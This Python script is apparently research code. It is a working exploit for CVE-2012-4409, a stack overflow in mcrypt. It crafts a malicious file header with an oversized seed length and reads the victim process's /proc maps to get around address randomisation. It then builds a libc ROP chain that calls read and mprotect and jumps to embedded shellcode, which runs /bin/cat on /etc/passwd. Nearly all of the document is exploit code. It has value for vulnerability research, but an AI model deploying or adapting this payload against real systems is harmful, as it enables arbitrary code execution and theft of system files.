#!/usr/bin/python
import os
import struct
import sys
import time

from roputils import *

# python ../../../exploits/hack_pipe_64.py "/lib/x86_64-linux-gnu/libc-2.19.so" "/home/bartcopp/phd/exploits/mcrypt/CVE-2012-4409/64/installs/bin/mcrypt" | ./mcrypt -d

def generate_header(seed_payload):
  flags   = '@' # for now hardcoded
  cipher  = 'rijndael-128'
  mode    = 'cbc'
  keymode = 'crypt-sha1'
  keylen  = 32
  
  out  = '\x00\x6d\x03'
  out += flags
  out += cipher + '\x00'
  out += struct.pack("<h", keylen)
  out += mode + '\x00' # waarom die 0xff?
  out += '\xff' + keymode + '\x00' # waarom die 0xff?
  
  out += '\xff' # Seed length, which translates into a large, underflown number, and reads until end of file for all practical purposes. Or, alternatively, 254...
  
  out += seed_payload
  
  return out

def get_pid_maps(mcrypt, pid):
  maps = {}
  while mcrypt not in maps:
    for line in open("/proc/%i/maps" % pid):
      s = line.split(" ")
      range = s[0].split("-")
      name = s[-1].rstrip("\n")
      if name in maps:
        maps[name] += [(range[0], s[1])]
      else:
        maps[name] = [(range[0], s[1])]
    time.sleep(0.5)
  return maps

def getpids():
  return [pid for pid in os.listdir('/proc') if pid.isdigit()]

def wait_for_process(name, sleep=100):
  while True:
    for pid in getpids(): # psutil.pids(): p = psutil.Process(pid) p.name() == name:
      try:
        if open("/proc/%s/comm" % pid).readlines()[0].startswith(name):
          return int(pid)
      except e:
          pass
    time.sleep(1000/sleep)

def get_load_for(lib, perms, maps):
#  print >>sys.stderr, str(maps)
  for load in maps[lib]:
    if load[1] == perms:
      return int(load[0], base=16)

def short_call(libc_rop, target, arg0, arg1, arg2):
  # pop_rdx_rsi_gadget = pop rdx, pop rsi, ret = 5a 5e c3
  # => pop_rdx_rsi_gadget; arg2 ; arg1 ; pop_rdi_gadget ; arg0 ; target;
  payload  = libc_rop.p(libc_rop.search("\x5a\x5e\xc3", xonly=True)) # pop rdx ; pop rsi ; ret
  payload += libc_rop.p(arg2)
  payload += libc_rop.p(arg1)
  payload += libc_rop.p(libc_rop.gadget("pop", "rdi"))
  payload += libc_rop.p(arg0)
  payload += libc_rop.p(target)
  return payload

def generate_payload_execve(mcrypt_binary, mcrypt_base, mcrypt_rw, libc_binary, libc_base):
  # Stack layout for gcc version 4.9.1 (Debian 4.9.1-17)
  # %rdi, %rsi, %rdx
  #  -0xc0(%rbp) -> rdi -> salt
  # &-0x80(%rbp) -> rsi -> tmp_buf
  # *0x10(%rbp)  -> rdx -> *salt_size
  #  0x10(%rbp)  -> salt_size
  #  
  #  => 
  #  rbp -  0xc0: salt
  #               ...
  #  rbp -  0x80: tmp_buf
  #  rbp        : [original rbp]                        <- tmp_buf + 0x80
  #  rbp +   0x8: [return address of check_file_head]   <- tmp_buf + 0x88
  #  rbp +  0x10: &salt_size                            <- tmp_buf + 0x90
  #
  #  for our ROP chain, we first have to get rid of the salt_size, because that has to point to a valid pointer that points to a 0x0
  #  =>
  #  ADR1 -> pop; ret
  #  ADR2 -> ROP continuation, so that the stack is:
  #  
  #  ADR1
  #  ptr_to_null
  #  ADR2
  #  
  #  For ADR1:
  #  popq %rbp; ret
  #  
  #  execve has 3 arguments: execve(file, argv, envp), argv/envp can be NULL. libc has enough pop gadgets
  #  libc has a string '/bin/sh', which is nice here, if sh wouldn't just close...
  #  
  #  So..., and this is more fun, actually: the input buffer is stdin, (fstream* _IO_2_1_stdin_)
  #  => read to rw-p area of mcrypt, mprotect, jmp there!
  ptr_to_null  = mcrypt_base + 12 # something in the ELF header; whatever; as long as it is NULL

  payload   = '\x90' * (0x88)

  # Use roputils:
  libc_rop   = ROP(libc_binary)
  libc_rop.set_base(libc_base)

  payload  += libc_rop.p(libc_rop.gadget("pop", "rbp"))  # return address, ADR1
  payload  += libc_rop.p(ptr_to_null) # *salt_size = 0 so the memmove won't crash

  # read
  payload  += short_call(libc_rop, libc_rop.addr("read"), 0, mcrypt_rw, 8192) # read from stdin, into mcrypt_rw, which is of (max) size 8192. It is also nicely aligned to page size already ;)

  # mmap(addr, len, PROT_READ | PROT_EXEC = 5)
  payload  += short_call(libc_rop, libc_rop.addr("mprotect"), mcrypt_rw, 8192, 5)

  # just ret to mcrypt_rw
  payload  += libc_rop.p(mcrypt_rw)

  # payload length is here 256, rather than 254, owell
  # this is a bit of black box testing that found this out... verrry iffy!
  payload += '\x90' * (3*1024+512+256)

  # gcc -c -o cat cat.s && objcopy -O binary cat cat_raw && objdump -d cat
  # od -A n -t x1z -v cat_raw  | sed -e 's/ >.*//' | sed -e 's/ \([0-9a-f]\)/\\x\1/g' | tr -d '\n, '

  payload += "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x1d\x02\x00\x00\x00\xeb\x0c\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00\x6a\x00\x53\x48\x8d\x3d\x02\x00\x00\x00\xeb\x09\x2f\x62\x69\x6e\x2f\x63\x61\x74\x00\x57\x48\x89\xe6\x48\x89\xe6\x48\x31\xd2\x0f\x05\xeb\xfe"

  return payload


if __name__ == "__main__":
  if len(sys.argv) != 3:
    print >>sys.stderr, "Usage: python ../../../exploits/hack_pipe_64.py <path-to-libc.so> <path-to-mcrypt> | ./mcrypt -d"
    sys.exit(0)

  libc   = sys.argv[1]
  mcrypt = sys.argv[2]

#  pid = wait_for_process("MVEE_LD_Loader_")
  pid = wait_for_process("mcrypt")
  m = get_pid_maps(mcrypt, pid)
  mcrypt_base = get_load_for(mcrypt, "r-xp", m)
  mcrypt_rw = get_load_for(mcrypt, "rw-p", m)
  libc_base = get_load_for(libc, "r-xp", m)
  
  #sys.stdin.readlines()

  payload = generate_payload_execve(mcrypt, mcrypt_base, mcrypt_rw, libc, libc_base)
  header  = generate_header(payload)
  sys.stdout.write(header)
  
